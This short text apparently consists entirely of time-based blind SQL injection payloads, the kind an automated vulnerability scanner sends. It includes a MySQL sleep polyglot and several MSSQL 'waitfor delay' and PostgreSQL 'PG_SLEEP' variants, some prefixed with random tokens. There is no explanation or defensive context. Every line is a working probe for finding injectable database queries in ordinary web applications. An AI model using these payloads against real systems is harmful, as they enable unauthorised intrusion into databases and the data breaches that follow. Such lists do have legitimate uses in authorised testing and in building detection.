(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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-1 waitfor delay '0:0:15' --

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RmJwjX0x'; waitfor delay '0:0:15' --

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e4RQz7nn'); waitfor delay '0:0:15' --

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2VgJCktn')); waitfor delay '0:0:15' --

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3lGqbh1m' OR 272=(SELECT 272 FROM PG_SLEEP(15))--

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6cG3lDtv') OR 460=(SELECT 460 FROM PG_SLEEP(15))--

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X2knKwMn')) OR 798=(SELECT 798 FROM PG_SLEEP(15))--